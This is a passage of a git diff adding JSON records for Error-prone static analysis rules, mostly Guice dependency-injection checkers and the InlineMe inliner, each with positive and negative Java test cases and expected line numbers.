"expected-problems": null, + "expected-linenumbers": [ + 247 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/AssistedInjectScoping.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/AssistedInjectScoping.json new file mode 100644 index 0000000..a0e17a9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/AssistedInjectScoping.json @@ -0,0 +1,30 @@ +{ + "name": "AssistedInjectScoping", + "language": "java", + "description": "Scope annotation on implementation class of AssistedInject factory is not allowed", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n import com.google.inject.Inject;\n import com.google.inject.Singleton;\n import com.google.inject.assistedinject.Assisted;\n import com.google.inject.assistedinject.AssistedInject;\n import com.google.inject.servlet.RequestScoped;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class AssistedInjectScopingPositiveCases {\n\n // BUG: Diagnostic contains: remove this line\n @Singleton\n public class TestClass {\n @Inject\n public TestClass(String unassisted, @Assisted String assisted) {}\n }\n\n // BUG: Diagnostic contains: remove this line\n @RequestScoped\n public class TestClass2 {\n @Inject\n public TestClass2(String unassisted, @Assisted String assisted) {}\n }\n\n // BUG: Diagnostic contains: remove this line\n @Singleton\n public class TestClass3 {\n @AssistedInject\n public TestClass3(String param) {}\n }\n\n /** Multiple constructors, but only one with @Inject, and that one matches. */\n // BUG: Diagnostic contains: remove this line\n @Singleton\n public class TestClass4 {\n @Inject\n public TestClass4(String unassisted, @Assisted String assisted) {}\n\n public TestClass4(String unassisted, int i) {}\n\n public TestClass4(int i, String unassisted) {}\n }\n\n /** Multiple constructors, none with @Inject, one matches. */\n // BUG: Diagnostic contains: remove this line\n @Singleton\n public class TestClass5 {\n public TestClass5(String unassisted1, String unassisted2) {}\n\n public TestClass5(String unassisted, int i) {}\n\n @AssistedInject\n public TestClass5(int i, String unassisted) {}\n }\n\n /** JSR330 annotations. */\n // BUG: Diagnostic contains: remove this line\n @javax.inject.Singleton\n public class TestClass6 {\n @javax.inject.Inject\n public TestClass6(String unassisted, @Assisted String assisted) {}\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\nimport com.google.inject.Inject;\nimport com.google.inject.Singleton;\nimport com.google.inject.assistedinject.Assisted;\nimport com.google.inject.assistedinject.AssistedInject;\n\n/**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\npublic class AssistedInjectScopingNegativeCases {\n\n /** Class is not assisted and has no scoping annotation. */\n public class TestClass1 {\n public TestClass1(String unassisted1, String unassisted2) {}\n }\n\n /** Class is not assisted and has no scoping annotation, but has an unrelated annotation. */\n @SuppressWarnings(\"foo\")\n public class TestClass2 {\n public TestClass2(String unassisted, @Assisted String assisted) {}\n }\n\n /** Class is not assisted but has scoping annotation. */\n @Singleton\n public class TestClass3 {\n public TestClass3(String unassisted1, String unassisted2) {}\n }\n\n /** Class is assisted via @Assisted param but has no scoping annotation. */\n public class TestClass4 {\n @Inject\n public TestClass4(@Assisted String assisted) {}\n }\n\n /** Class is assisted via @AssistedInject constructor but has no scoping annotation. */\n public class TestClass5 {\n @AssistedInject\n public TestClass5(String unassisted) {}\n }\n\n /** Class is not assisted -- constructor with @Assisted param does not have @Inject. */\n @Singleton\n public class TestClass6 {\n public TestClass6(@Assisted String assisted) {}\n }\n\n /** Multiple constructors but not assisted. */\n @Singleton\n public class TestClass7 {\n public TestClass7(String unassisted1, String unassisted2) {}\n\n public TestClass7(String unassisted, int i) {}\n\n public TestClass7(int i, String unassisted) {}\n }\n\n /** Multiple constructors, one with @Inject, non-@Inject ones match. */\n @Singleton\n public class TestClass8 {\n @Inject\n public TestClass8(String unassisted1, String unassisted2) {}\n\n @AssistedInject\n public TestClass8(String param, int i) {}\n\n @AssistedInject\n public TestClass8(int i, String param) {}\n }\n\n /** Multiple constructors, one with @Inject, non-@Inject ones match. */\n @Singleton\n public class TestClass9 {\n @Inject\n public TestClass9(String unassisted1, String unassisted2) {}\n\n @AssistedInject\n public TestClass9(String param, int i) {}\n\n @AssistedInject\n public TestClass9(int i, String param) {}\n }\n\n @Singleton\n public class TestClass10 {\n public TestClass10(@Assisted String assisted, String unassisted) {}\n\n public TestClass10(@Assisted String assisted, int i) {}\n\n public TestClass10(int i, @Assisted String assisted) {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/AssistedParameters.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/AssistedParameters.json new file mode 100644 index 0000000..dfcac98 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/AssistedParameters.json @@ -0,0 +1,30 @@ +{ + "name": "AssistedParameters", + "language": "java", + "description": "A constructor cannot have two @Assisted parameters of the same type unless they are disambiguated with named @Assisted annotations.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 160, + "branches": 18, + "apis": 5, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\nimport com.google.inject.assistedinject.Assisted;\nimport java.util.List;\nimport javax.inject.Inject;\n\n/**\n * @author sgoldfeder@google.com(Steven Goldfeder)\n */\npublic class AssistedParametersPositiveCases {\n\n /** Class has constructor with two @Assisted parameters of the same type. */\n public class TestClass1 {\n @Inject\n // BUG: Diagnostic contains: java.lang.String: x, y\n public TestClass1(int n, @Assisted String x, @Assisted String y, int z) {}\n\n @Inject\n // BUG: Diagnostic contains: java.lang.String, @Assisted(\"baz\"): x, z\n public TestClass1(\n @Assisted(\"foo\") int a,\n @Assisted(\"foo\") int b,\n @Assisted(\"baz\") String x,\n @Assisted(\"baz\") String z) {}\n }\n\n /** Class has constructor with two @Assisted parameters of the same type and same value. */\n public class TestClass2 {\n @Inject\n // BUG: Diagnostic contains: int, @Assisted(\"foo\"): x, y\n public TestClass2(int n, @Assisted(\"foo\") int x, @Assisted(\"foo\") int y, String z) {}\n }\n\n /** Class has constructor with two @Assisted parameters of the same parameterized type. */\n public class TestClass3 {\n private static final String FOO = \"foo\";\n\n @Inject\n // BUG: Diagnostic contains: java.util.List, @Assisted(\"foo\"): x, y\n public TestClass3(\n int n, @Assisted(\"foo\") List x, @Assisted(FOO) List y, String z) {}\n\n @Inject\n // BUG: Diagnostic contains: int, @Assisted(\"bar\"): x, y\n public TestClass3(\n @Assisted() int n, @Assisted(\"bar\") int x, @Assisted(\"bar\") int y, String z) {}\n }\n\n class GenericClass {\n @Inject\n // BUG: Diagnostic contains: T: a, b\n GenericClass(@Assisted T a, @Assisted T b) {}\n\n @Inject\n // BUG: Diagnostic contains: int: a, b\n GenericClass(@Assisted Integer a, @Assisted int b) {}\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\nimport com.google.inject.assistedinject.Assisted;\nimport java.util.List;\nimport javax.inject.Inject;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class AssistedParametersNegativeCases {\n\n /** Class has constructor with two @Assisted parameters of different types. */\n public class TestClass1 {\n @Inject\n public TestClass1(@Assisted int x, @Assisted String y, long z) {}\n }\n\n /**\n * Class has constructor with two @Assisted parameters, but the @Assisted annotations have\n * different values.\n */\n public class TestClass2 {\n @Inject\n public TestClass2(@Assisted(\"foo\") int x, @Assisted(\"bar\") int y, String z) {}\n }\n\n /**\n * Class has constructor with one @Assisted parameter with no value specified and another\n * parameter of the same type.\n */\n public class TestClass3 {\n @Inject\n public TestClass3(@Assisted int x, int y, String z) {}\n }\n\n /**\n * Class has constructor with one @Assisted parameters with a value specified and another\n * parameter of the same type.\n */\n public class TestClass4 {\n @Inject\n public TestClass4(@Assisted(\"foo\") int x, int y, String z) {}\n }\n\n /**\n * Class has constructor with two @Assisted parameters with the same value and generic type and\n * different type parameters.\n */\n public class TestClass5 {\n @Inject\n public TestClass5(\n @Assisted(\"foo\") List x, @Assisted(\"foo\") List y, String z) {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/BindingToUnqualifiedCommonType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/BindingToUnqualifiedCommonType.json new file mode 100644 index 0000000..7c299fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/BindingToUnqualifiedCommonType.json @@ -0,0 +1,30 @@ +{ + "name": "BindingToUnqualifiedCommonType", + "language": "java", + "description": "This code declares a binding for a common value type without a Qualifier annotation.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 132, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n import com.google.inject.AbstractModule;\n import com.google.inject.Provides;\n\n /** Tests for {@code BindingToUnqualifiedCommonType} */\n public class BindingToUnqualifiedCommonTypePositiveCases {\n\n /** Regular module */\n class Module1 extends AbstractModule {\n @Override\n protected void configure() {\n // BUG: Diagnostic contains: BindingToUnqualifiedCommonType\n bind(Integer.class).toInstance(2);\n\n // BUG: Diagnostic contains: BindingToUnqualifiedCommonType\n bind(String.class).toInstance(\"Hello\");\n\n // BUG: Diagnostic contains: BindingToUnqualifiedCommonType\n bind(Double.class).toProvider(() -> 42.0);\n\n // BUG: Diagnostic contains: BindingToUnqualifiedCommonType\n binder().bind(Long.class).toInstance(42L);\n }\n\n @Provides\n // BUG: Diagnostic contains: BindingToUnqualifiedCommonType\n int providesFoo() {\n return 42;\n }\n\n @Provides\n // BUG: Diagnostic contains: BindingToUnqualifiedCommonType\n Integer provideBoxedFoo() {\n return 42;\n }\n\n @Provides\n // BUG: Diagnostic contains: BindingToUnqualifiedCommonType\n String providesGreeting() {\n return \"hi\";\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\nimport com.google.common.collect.ImmutableList;\nimport com.google.inject.AbstractModule;\nimport com.google.inject.Binder;\nimport com.google.inject.BindingAnnotation;\nimport com.google.inject.Module;\nimport com.google.inject.Provides;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.util.List;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.JUnit4;\n\n/** Tests for {@code BindingToUnqualifiedCommonType} */\npublic class BindingToUnqualifiedCommonTypeNegativeCases {\n\n // All of the tagged instances would normally be flagged, but aren't because it's in a JUnit4\n // class\n @RunWith(JUnit4.class)\n static class MyTestClass {\n /** Regular module */\n class Module1 extends AbstractModule {\n @Override\n protected void configure() {\n bind(Integer.class).toInstance(2);\n bind(String.class).toInstance(\"Hello\");\n bind(Double.class).toProvider(() -> 42.0);\n binder().bind(Long.class).toInstance(42L);\n }\n\n @Provides\n int providesFoo() {\n return 42;\n }\n\n @Provides\n Integer provideBoxedFoo() {\n return 42;\n }\n\n @Provides\n String providesGreeting() {\n return \"hi\";\n }\n }\n }\n\n /** Regular module */\n class Module1 extends AbstractModule {\n @Override\n protected void configure() {\n // Bindings to unannotated complex instances\n bind(A.class).toInstance(new A());\n\n // Binding to literals, but with a binding annotation\n bind(Integer.class).annotatedWith(MyBindingAnnotation.class).toInstance(42);\n }\n\n @Provides\n List providesFoo() {\n return ImmutableList.of(42);\n }\n }\n\n /** implements the Module interface directly */\n class Module2 implements Module {\n @Override\n public void configure(Binder binder) {}\n\n @Provides\n @MyBindingAnnotation\n int providesFoo() {\n return 42;\n }\n }\n\n class A {}\n\n @BindingAnnotation\n @Retention(RetentionPolicy.RUNTIME)\n @interface MyBindingAnnotation {}\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/InjectOnFinalField.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/InjectOnFinalField.json new file mode 100644 index 0000000..8a0b815 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/InjectOnFinalField.json @@ -0,0 +1,30 @@ +{ + "name": "InjectOnFinalField", + "language": "java", + "description": "Although Guice allows injecting final fields, doing so is disallowed because the injected value may not be visible to other threads.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n import com.google.inject.Inject;\n import org.jspecify.annotations.Nullable;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class InjectOnFinalFieldPositiveCases {\n /** Class has a final injectable(com.google.inject.Inject) field. */\n public class TestClass1 {\n // BUG: Diagnostic contains: @Inject int a\n @Inject final int a = 0;\n\n @Inject\n // BUG: Diagnostic contains: public int b\n public final int b = 0;\n\n @Inject @Nullable\n // BUG: Diagnostic contains: Object c\n final Object c = null;\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n import com.google.inject.Inject;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class InjectOnFinalFieldNegativeCases {\n\n /** Class has no final fields or @Inject annotations. */\n public class TestClass1 {}\n\n /** Class has a final field that is not injectable. */\n public class TestClass2 {\n public final int n = 0;\n }\n\n /** Class has an injectable(com.google.inject.Inject) field that is not final. */\n public class TestClass3 {\n @Inject public int n;\n }\n\n /** Class has an injectable(com.google.inject.Inject), final method. */\n public class TestClass4 {\n @Inject\n final void method() {}\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/OverridesGuiceInjectableMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/OverridesGuiceInjectableMethod.json new file mode 100644 index 0000000..9ad8092 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/OverridesGuiceInjectableMethod.json @@ -0,0 +1,30 @@ +{ + "name": "OverridesGuiceInjectableMethod", + "language": "java", + "description": "This method is not annotated with @Inject, but it overrides a method that is annotated with @com.google.inject.Inject. Guice will inject this method, and it is recommended to annotate it explicitly.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 68, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class OverridesGuiceInjectableMethodPositiveCases {\n\n /** Class with a method foo() annotated with @com.google.inject.Inject. */\n public class TestClass1 {\n @com.google.inject.Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() that is not annotated with @Inject, but overrides a method that is\n * annotated with @com.google.inject.Inject\n */\n public class TestClass2 extends TestClass1 {\n // BUG: Diagnostic contains: @Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() that is not annotated with @Inject, but overrides a method that in\n * turn is overrides a method that is annotated with @com.google.inject.Inject\n */\n public class TestClass3 extends TestClass2 {\n // BUG: Diagnostic contains: @Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() that is not annotated with @javax.inject.Inject and overrides a\n * method that is annotated with @com.google.inject.Inject. This class does not contain an error,\n * but it is extended in the next test class.\n */\n public class TestClass4 extends TestClass1 {\n @javax.inject.Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() that is not annotated with @Inject and overrides a method that is is\n * annotated with @javax.inject.Inject. This super method in turn overrides a method that is\n * annoatated with @com.google.inject.Inject.\n */\n public class TestClass5 extends TestClass4 {\n // BUG: Diagnostic contains: @Inject\n public void foo() {}\n }\n\n /** Class that extends a class with an injected method, but doesn't override it. */\n public class TestClass6 extends TestClass1 {}\n\n /**\n * Class that extends a class with an injected method, but it was declared in a supertype that\n * isn't a direct supertype.\n */\n public class TestClass7 extends TestClass1 {\n // BUG: Diagnostic contains: @Inject\n public void foo() {}\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class OverridesGuiceInjectableMethodNegativeCases {\n\n /** Class with a method foo() annotated with @com.google.inject.Inject. */\n public class TestClass1 {\n @com.google.inject.Inject\n public void foo() {}\n }\n\n /** Class with a method foo() annotated with @javax.inject.Inject. */\n public class TestClass2 {\n @javax.inject.Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated\n * with @com.google.inject.Inject.\n */\n public class TestClass3 extends TestClass1 {\n @javax.inject.Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() annotated with @com.google.inject.Inject that overrides a method\n * annotated with @javax.inject.Inject.\n */\n public class TestClass4 extends TestClass2 {\n @com.google.inject.Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated\n * with @com.google.inject.Inject\n */\n public class TestClass5 extends TestClass1 {\n @javax.inject.Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() that is not annotated with @Inject, but overrides a method that is\n * annotated with @com.google.inject.Inject. Warning is suppressed.\n */\n public class TestClass6 extends TestClass1 {\n @SuppressWarnings(\"OverridesGuiceInjectableMethod\")\n @Override\n public void foo() {}\n }\n\n /** Class that extends a class with an injected method, but doesn't override it. */\n public class TestClass7 extends TestClass1 {}\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/OverridesJavaxInjectableMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/OverridesJavaxInjectableMethod.json new file mode 100644 index 0000000..250c332 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/OverridesJavaxInjectableMethod.json @@ -0,0 +1,30 @@ +{ + "name": "OverridesJavaxInjectableMethod", + "language": "java", + "description": "This method is not annotated with @Inject, but it overrides a method that is annotated with @javax.inject.Inject. The method will not be Injected.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class OverridesJavaxInjectableMethodPositiveCases {\n\n /** Class with foo() */\n public class TestClass0 {\n public void foo() {}\n }\n\n /**\n * Class with a method foo() that is annotated with {@code javax.inject.Inject}. Other test\n * classes will extend this class.\n */\n public class TestClass1 extends TestClass0 {\n @javax.inject.Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() that is not annotated, but overrides a method annotated with\n * {@code @}javax.inject.Inject.\n */\n public class TestClass2 extends TestClass1 {\n // BUG: Diagnostic contains: @Inject\n public void foo() {}\n }\n\n /**\n * Class with a method foo() that is not annotated, but overrides a method that in turn overrides\n * a method that is annotated with @javax.inject.Inject.\n */\n public class TestClass3 extends TestClass2 {\n // BUG: Diagnostic contains: @Inject\n public void foo() {}\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class OverridesJavaxInjectableMethodNegativeCases {\n /** Class with a method foo() with no annotations. */\n public class TestClass1 {\n public void foo() {}\n }\n\n /** Class with a method foo() annotated with @com.google.inject.Inject. */\n public class TestClass2 {\n @com.google.inject.Inject\n public void foo() {}\n }\n\n /** Class with a method foo() annotated with @javax.inject.Inject. */\n public class TestClass3 {\n @javax.inject.Inject\n public void foo() {}\n }\n\n /** OK, as it overrides a Guice-Inject method */\n public class TestClass4 extends TestClass2 {\n @Override\n public void foo() {}\n }\n\n /** gInject <- jInject */\n public class TestClass5 extends TestClass3 {\n @com.google.inject.Inject\n public void foo() {}\n }\n\n /** jInject <- gInject */\n public class TestClass6 extends TestClass2 {\n @javax.inject.Inject\n public void foo() {}\n }\n\n /** OK, as 7 <- jInject <- gInject */\n public class TestClass7 extends TestClass6 {\n public void foo() {}\n }\n\n /** OK, as 8 <- gInject */\n public class TestClass8 extends TestClass5 {\n public void foo() {}\n }\n\n /** Explicitly suppressed warning */\n public class TestClass9 extends TestClass3 {\n @Override\n @SuppressWarnings(\"OverridesJavaxInjectableMethod\")\n public void foo() {}\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/ProvidesMethodOutsideOfModule.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/ProvidesMethodOutsideOfModule.json new file mode 100644 index 0000000..e7086ab --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/ProvidesMethodOutsideOfModule.json @@ -0,0 +1,30 @@ +{ + "name": "ProvidesMethodOutsideOfModule", + "language": "java", + "description": "@Provides methods need to be declared in a Module to have any effect.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 45, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n import com.google.inject.AbstractModule;\n import com.google.inject.Provides;\n\n /** Tests for {@code ProvidesMethodOutsideOfModule} */\n public class ProvidesMethodOutsideOfModulePositiveCases {\n\n /** Random class contains a provides method. */\n public class TestClass1 {\n // BUG: Diagnostic contains: remove\n @Provides\n void providesBlah() {}\n }\n\n /** Module contains an anonymous inner with a Provides method. */\n public class TestModule extends AbstractModule {\n @Override\n protected void configure() {\n Object x =\n new Object() {\n // BUG: Diagnostic contains: remove\n @Provides\n void providesBlah() {}\n };\n }\n }\n\n /** Class has inner module class */\n public class TestClass2 {\n class NestedModule extends AbstractModule {\n @Override\n protected void configure() {}\n\n @Provides\n int thisIsOk() {\n return 42;\n }\n }\n\n // BUG: Diagnostic contains: remove\n @Provides\n int thisIsNotOk() {\n return 42;\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "package com.google.errorprone.bugpatterns.inject.guice.testdata;\n\n import com.google.gwt.inject.client.AbstractGinModule;\n import com.google.gwt.inject.client.GinModule;\n import com.google.gwt.inject.client.binder.GinBinder;\n import com.google.inject.AbstractModule;\n import com.google.inject.Binder;\n import com.google.inject.Module;\n import com.google.inject.Provides;\n\n /** Tests for {@code ProvidesMethodOutsideOfModule} */\n public class ProvidesMethodOutsideOfModuleNegativeCases {\n\n /** Regular module */\n class Module1 extends AbstractModule {\n @Override\n protected void configure() {}\n\n @Provides\n int providesFoo() {\n return 42;\n }\n }\n\n /** implements the Module interface directly */\n class Module2 implements Module {\n @Override\n public void configure(Binder binder) {}\n\n @Provides\n int providesFoo() {\n return 42;\n }\n }\n\n /** Regular GinModule */\n class GinModule1 extends AbstractGinModule {\n\n @Override\n protected void configure() {}\n\n @Provides\n int providesFoo() {\n return 42;\n }\n }\n\n /** Implements the GinModule interface directly */\n class GinModule2 implements GinModule {\n @Override\n public void configure(GinBinder binder) {}\n\n @Provides\n int providesFoo() {\n return 42;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Inliner.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Inliner.json new file mode 100644 index 0000000..146b86a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Inliner.json @@ -0,0 +1,342 @@ +{ + "name": "Inliner", + "language": "java", + "description": "Callers of this API should be inlined.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 505, + "branches": 66, + "apis": 7, + "test": [ + { + "description": "instanceMethod_withThisLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 42 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.foo2(value)\")\n public void foo1(String value) {\n foo2(value);\n }\n\n public void foo2(String value) {}\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.foo1(\"frobber!\");\n client.foo1(\"don't change this!\");\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.foo2(\"frobber!\");\n client.foo2(\"don't change this!\");\n }\n }" + }, + { + "description": "nestedQuotes", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.after(foo)\")\n public String before(String foo) {\n return after(foo);\n }\n\n public String after(String foo) {\n return \"frobber\";\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n String result = client.before(\"\\\\\"\");\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n String result = client.after(\"\\\\\"\");\n }\n }" + }, + { + "description": "method_withParamSwap", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.after(paramB, paramA)\")\n public void before(String paramA, String paramB) {\n after(paramB, paramA);\n }\n\n public void after(String paramB, String paramA) {}\n }\n \n\n import java.time.Duration;\n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n String a = \"a\";\n String b = \"b\";\n client.before(a, b);\n }\n }\n \n\n import java.time.Duration;\n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n String a = \"a\";\n String b = \"b\";\n client.after(b, a);\n }\n }" + }, + { + "description": "method_withReturnStatement", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.after()\")\n public String before() {\n return after();\n }\n\n public String after() {\n return \"frobber\";\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n String result = client.before();\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n String result = client.after();\n }\n }" + }, + { + "description": "staticMethod_explicitTypeParam", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "package com.google.foo;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(\n replacement = \"Client.after()\",\n imports = {\"com.google.foo.Client\"})\n public static T before() {\n return after();\n }\n\n public static T after() {\n return (T) null;\n }\n }\n \n\n package com.google.foo;\n\n public final class Caller {\n public void doTest() {\n String str = Client.before();\n }\n }" + }, + { + "description": "staticMethod_explicitTypeParam_specifiedInReplacement", + "expected-problems": null, + "expected-linenumbers": [ + 272 + ], + "code": "package com.google.foo;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(\n replacement = \"Client.after()\",\n imports = {\"com.google.foo.Client\"})\n public static T before() {\n return Client.after();\n }\n\n public static T after() {\n return (T) null;\n }\n }\n \n\n package com.google.foo;\n\n public final class Caller {\n public void doTest() {\n String str = Client.before();\n }\n }\n \n\n package com.google.foo;\n\n public final class Caller {\n public void doTest() {\n String str = Client.after();\n }\n }" + }, + { + "description": "instanceMethod_withConflictingImport", + "expected-problems": null, + "expected-linenumbers": [ + 323 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n private Duration deadline = Duration.ofSeconds(5);\n\n @Deprecated\n @InlineMe(\n replacement = \"this.setDeadline(Duration.ofMillis(millis))\",\n imports = {\"java.time.Duration\"})\n public void setDeadline(long millis) {\n setDeadline(Duration.ofMillis(millis));\n }\n\n public void setDeadline(Duration deadline) {\n this.deadline = deadline;\n }\n }\n \n\n import org.joda.time.Duration;\n\n public final class Caller {\n public void doTest() {\n Duration jodaDuration = Duration.millis(42);\n Client client = new Client();\n client.setDeadline(42);\n }\n }\n \n\n import org.joda.time.Duration;\n\n public final class Caller {\n public void doTest() {\n Duration jodaDuration = Duration.millis(42);\n Client client = new Client();\n client.setDeadline(java.time.Duration.ofMillis(42));\n }\n }" + }, + { + "description": "instanceMethod_withPartiallyQualifiedInnerType", + "expected-problems": null, + "expected-linenumbers": [ + 378 + ], + "code": "package com.google;\n\n public class A {\n public static class Inner {\n public static void foo() {}\n }\n }\n \n\n import com.google.A;\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"A.Inner.foo()\", imports = \"com.google.A\")\n public void 